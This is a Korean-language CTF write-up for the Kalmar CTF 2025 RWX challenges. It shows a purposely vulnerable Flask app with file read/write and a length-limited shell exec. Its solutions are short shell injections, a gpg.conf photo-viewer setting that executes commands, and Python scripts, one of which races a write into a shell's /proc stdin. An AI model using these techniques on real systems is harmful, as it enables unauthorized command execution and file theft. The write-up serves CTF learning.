Kalmar CTF 2025 - RWX series

0x00. Introduction

FROM ubuntu:latest

RUN apt-get update && \
    apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages

WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt

COPY would.c /
RUN gcc -o would would.c && \
    chmod 6111 would && \
    rm would.c

WORKDIR /app
COPY app.py .

RUN useradd -m user
USER user

CMD ["python3", "app.py"]

Dockerfile์„ ๋ณด๋ฉด would.c๋ฅผ ๋นŒ๋“œํ•ด์„œ / ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ‘์— would ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•œ๋‹ค. flask๋กœ ๊ตฌ๋™๋˜๋Š” ์›น ์„œ๋ฒ„๋ฅผ ์˜ฌ๋ฆฌ๋Š”๋ฐ ์ด๋ฅผ ์ด์šฉํ•ด์„œ flag๋ฅผ ํš๋“ํ•ด์•ผ ํ•œ๋‹ค.

Concept

int main(int argc, char *argv[]) {
    char full_cmd[256] = {0}; 
    for (int i = 1; i < argc; i++) {
        strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
        if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
    }

    if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
        FILE *flag = fopen("/flag.txt", "r");
        if (flag) {
            char buffer[1024];
            while (fgets(buffer, sizeof(buffer), flag)) {
                printf("%s", buffer);
            }
            fclose(flag);
            return 0;
        }
    }

    printf("Invalid usage: %s\n", full_cmd);
    return 1;
}

would.c๋ฅผ ๋ณด๋ฉด /would you be so kind to provide me with a flag๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ด์„œ flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

@app.route('/read')
def read():
    filename = request.args.get('filename', '')
    try:
        return send_file(filename)
    except Exception as e:
        return str(e), 400

@app.route('/write', methods=['POST'])
def write():
    filename = request.args.get('filename', '')
    content = request.get_data()
    try:
        with open(filename, 'wb') as f:
            f.write(content)
        return 'OK'
    except Exception as e:
        return str(e), 400

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 7:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=6664)

app.py๋ฅผ ๋ณด๋ฉด user ๊ถŒํ•œ์œผ๋กœ arbitrary read / write๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ณ  ๋ช…๋ น์–ด ์‹คํ–‰์€ ๊ธธ์ด ์ œํ•œ์ด ์žˆ๋‹ค.

์ด๋Ÿฐ ์‹์œผ๋กœ RWX-Bronze, RWX-Silver, RWX-Gold, RWX-Diamond๊ฐ€ ์žˆ๋Š”๋ฐ ๊ธธ์ด๊ฐ€ ์ ์  ์ค„์–ด๋“ค๊ฑฐ๋‚˜ ํ™˜๊ฒฝ์ด ๋ฐ”๋€Œ๋Š” ํ˜•์‹์ด๋‹ค.

0x01. RWX-Bronze

์ œ์ผ ์ฒ˜์Œ ๋ฌธ์ œ์ธ Bronze์—์„œ๋Š” 7๋ฐ”์ดํŠธ ์ œํ•œ์ด ๊ฑธ๋ ค์žˆ๋‹ค.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 7:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

/write ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ด์šฉํ•ด์„œ ๋‹ค์Œ ๋‚ด์šฉ์„ /home/user/x๋ผ๋Š” ํŒŒ์ผ์— ์ €์žฅํ–ˆ๋‹ค.

/would you be so kind to provide me with a flag

์ดํ›„ /exec ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ†ตํ•ด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

  • sh<~x

0x02. RWX-Silver

์ด๋ฒˆ์—๋Š” 5๋ฐ”์ดํŠธ ์ œํ•œ์ด ๊ฑธ๋ ค์žˆ๋‹ค.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 5:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

Bronze์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ /home/user/x๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

  • . ~/x

0x03. RWX-Gold

์ด๋ฒˆ์—๋Š” 3๋ฐ”์ดํŠธ์ธ๋ฐ ์—ฌ๊ธฐ๋ถ€ํ„ฐ๋Š” ๋Œ€ํšŒ์ค‘์— ๋ชปํ’€์—ˆ๋‹ค.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 3:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

. ~, ~/*, ~;* ๋“ฑ ๋‹ค์–‘ํ•˜๊ฒŒ ์‹œ๋„๋ฅผ ํ•ด๋ดค๋Š”๋ฐ ๋‹ค ์‹คํŒจํ–ˆ๋‹ค.

๋‚˜์ค‘์— writeup์„ ๋ณด๋‹ˆ PGP์˜ gnu ๋ฒ„์ „์ธ GPG(Gnu Privacy Guard)๋ผ๋Š” ๋„๊ตฌ๋ฅผ ์ด์šฉํ•ด์•ผ ํ–ˆ๋‹ค. ์‚ด๋ฉด์„œ ์ฒ˜์Œ ๋“ค์–ด๋ณด๋Š” ๋„๊ตฌ์ธ๋ฐ ๋†€๋ž๊ฒŒ๋„ ubuntu์— ๊ธฐ๋ณธ์œผ๋กœ ๊น”๋ ค์žˆ๋‹ค.

Exploit ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์œ„ํ•ด ์ž ์‹œ PGP์— ๋Œ€ํ•œ background๋ฅผ ์„ค๋ช…ํ•˜์ž๋ฉด,

  • PGP ํ‚ค๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ ํŒจํ‚ท(packet)์œผ๋กœ ๊ตฌ์„ฑ
    • ๊ณต๊ฐœ ํ‚ค ํŒจํ‚ท
    • ๋น„๋ฐ€ ํ‚ค ํŒจํ‚ท
    • ์‚ฌ์šฉ์ž ID ํŒจํ‚ท
    • ์„œ๋ช… ํŒจํ‚ท
    • ์‚ฌ์ง„ ID ํŒจํ‚ท
    • โ€ฆ
  • gpg.conf ํŒŒ์ผ์„ ํ†ตํ•ด GPG์˜ ๋™์ž‘ ๋ฐฉ์‹์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Œ
    • list-options : gpg --list-keys ์‹คํ–‰ ์‹œ ์˜ต์…˜์„ ์„ค์ •ํ•˜๋Š” tag
      • show-photos : ํ‚ค๋ฅผ ๋‚˜์—ดํ•  ๋•Œ PGP ํ‚ค์— ์ฒจ๋ถ€๋œ ์‚ฌ์ง„ ํ‘œ์‹œ
    • photo-viewer : PGP ํ‚ค์— ์ฒจ๋ถ€๋œ ์‚ฌ์ง„์„ ํ‘œ์‹œํ•  ๋•Œ ์‚ฌ์šฉํ•  ํ”„๋กœ๊ทธ๋žจ์„ ์ง€์ •ํ•˜๋Š” tag
    • list-keys : ์ด ์˜ต์…˜์ด gpg.conf์— ์žˆ์œผ๋ฉด gpg ์‹คํ–‰ ์‹œ ์ž๋™์œผ๋กœ ํ‚ค ๋ชฉ๋ก์„ ํ‘œ์‹œ

์„ค๋ช…์ด gpg, pgp๋ฅผ ์™”๋‹ค๊ฐ”๋‹ค ํ•˜๋Š”๋ฐ ์„œ๋กœ ํ˜ธํ™˜๋˜๊ฒŒ ๊ตฌํ˜„๋œ ๊ฒƒ์ด๋ฏ€๋กœ ํ‹€๋ฆฐ ํ‘œํ˜„์€ ์•„๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์„ /home/user/.gnupg/gpg.conf๋ผ๋Š” ํŒŒ์ผ์— ์ €์žฅํ•œ๋‹ค.

list-options show-photos
photo-viewer /would you be so kind to provide me with a flag > /tmp/x 
list-keys

์ดํ›„ gpg ๋ช…๋ น์„ ์‹คํ–‰ํ•ด์ฃผ๋ฉด ์„ค์ •๊ฐ’์— ๋”ฐ๋ผ ํ‚ค ๋ชฉ๋ก์„ ํ‘œ์‹œํ•˜๊ฒŒ ๋˜๊ณ , ๊ทธ ๊ณผ์ •์—์„œ ์‚ฌ์ง„์„ ์ถœ๋ ฅํ•  ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ /would you be so kind to provide me with a flag > /tmp/x์œผ๋กœ ์ง€์ •๋˜์–ด์žˆ์œผ๋ฏ€๋กœ ์‚ฌ์ง„์„ ์ถœ๋ ฅํ•  ๋•Œ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋œ๋‹ค.

Payload

import requests
import base64

url = "http://localhost:6664"

def rwx_read(filename):
    uri = url + "/read"
    uri += "?filename=" + filename
    return requests.get(uri)

def rwx_write(filename, data):
    uri = url + "/write"
    uri += "?filename=" + filename
    return requests.post(uri, data=data)

def rwx_exec(cmd):
    uri = url + "/exec"
    uri += "?cmd=" + cmd
    return requests.get(uri)

def main():
    rwx_exec("gpg")
    gpg_conf_content = (
        "list-options show-photos\n"
        "photo-viewer /would you be so kind to provide me with a flag > /tmp/x\n"
        "list-keys\n"
    )
    rwx_write("/home/user/.gnupg/gpg.conf", gpg_conf_content)

    with open("pubring.kbx", "rb") as f:
        pubring_data = f.read()
    rwx_write("/home/user/.gnupg/pubring.kbx", pubring_data)
    
    rwx_exec("gpg")
    r = rwx_read("/tmp/x")
    print(r.text)

if __name__ == '__main__':
    main()

0x04. RWX-Diamond

๋งˆ์ง€๋ง‰ ๋ฌธ์ œ๋Š” ์˜คํžˆ๋ ค 4๋ฐ”์ดํŠธ๋กœ ๊ธธ์ด๊ฐ€ ๋Š˜์–ด๋‚ฌ๋‹ค.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 4:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

ํ•˜์ง€๋งŒ Dockerfile์„ ๋ณด๋ฉด ๋‹ฌ๋ผ์ง„๊ฒŒ ์žˆ๋‹ค.

...
# RUN useradd -m user
RUN useradd user
USER user

CMD ["python3", "app.py"]

useradd๋ฅผ ํ•  ๋•Œ -m ์˜ต์…˜์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— /home/user ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์ƒ์„ฑ๋˜์ง€ ์•Š์•„์„œ ๊ธฐ์กด ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค.

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋Œ€ํšŒ์ค‘์— ๋ชปํ’€์–ด์„œ writeup์„ ํ™•์ธํ•ด๋ณด๋‹ˆ race condition์œผ๋กœ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

โžœ  rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
    PID TTY          TIME CMD
      1 ?        00:00:00 python3
      8 ?        00:00:00 sh
      9 ?        00:00:00 ps
โžœ  rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
    PID TTY          TIME CMD
      1 ?        00:00:00 python3
     11 ?        00:00:00 sh
     12 ?        00:00:00 ps

์ด๋Ÿฐ ์‹์œผ๋กœ ๋ช…๋ น์–ด๋ฅผ ์—ฐ์†์œผ๋กœ ์‹คํ–‰ํ•  ๊ฒฝ์šฐ pid๊ฐ€ 3๋งŒํผ ์ฆ๊ฐ€ํ•˜๋ฏ€๋กœ ๋‹ค์Œ ํ”„๋กœ์„ธ์Šค์˜ pid๋ฅผ ์˜ˆ์ธกํ•  ์ˆ˜ ์žˆ๋‹ค.

Exploit ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

writeexec
Create write process
Create exec process
Write โ€œ/would you โ€ฆโ€ to STDIN of sh
Execute w|sh

w|sh ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ์ด์œ ๋Š” ๊ธธ์ด๊ฐ€ 4๋ฐ”์ดํŠธ๊นŒ์ง€์ด๊ณ  sh ํ”„๋กœ์„ธ์Šค์— STDIN์„ ์ค˜์•ผํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ•œ ๋ฐ”์ดํŠธ์งœ๋ฆฌ ๋ช…๋ น์–ด์ธ w๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋ช…๋ น์–ด๋ฅผ STDIN์œผ๋กœ ์ค˜๋„ ๋  ๊ฒƒ ๊ฐ™์ง€๋งŒ time window๊ฐ€ ๋‹ค๋ฅธ์ง€ ์กด์žฌํ•˜๋Š” ๋ช…๋ น์–ด๊ฐ€ ์„ฑ๊ณต ํ™•๋ฅ ์ด ๋†’๋‹ค๊ณ  ํ•œ๋‹ค.

์ด ๋•Œ w|sh๋Š” sh๋ผ๋Š” ๋˜ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋ฏ€๋กœ pid๋ฅผ 3์ด ์•„๋‹Œ 4๋งŒํผ ์ฆ๊ฐ€์‹œ์ผœ์•ผ ํ•œ๋‹ค.

์ปจ์…‰์€ ๊ฐ„๋‹จํ•œ๋ฐ ๋ฐœ์ƒ์ด ๋Œ€๋‹จํ•œ ๊ฒƒ ๊ฐ™๋‹ค.

Payload

import requests
import threading
from time import sleep

url = "http://localhost:6664"
cmd = "/would you be so kind to provide me with a flag"

def race_fd():
    global pid
    requests.post(f"{url}/write?filename=/proc/{pid}/fd/0", data=cmd)

def race_cmd():
    global res
    res = requests.get(f"{url}/exec?cmd=w|sh").text

def rwx_exec(cmd):
    uri = url + "/exec"
    uri += "?cmd=" + cmd
    return requests.get(uri)

while True:
    r = rwx_exec("ps")
    pid = int(r.text.split("\n")[-2].split()[0])
    pid += 4
    print(f"[*] trying {pid}")

    thread_cmd = threading.Thread(target=race_cmd)
    thread_fd = threading.Thread(target=race_fd)

    thread_fd.start()
    thread_cmd.start()
    thread_cmd.join()
    thread_fd.join()

    if "kalmar{" in res:
        print(res)
        break
    
    sleep(0.1)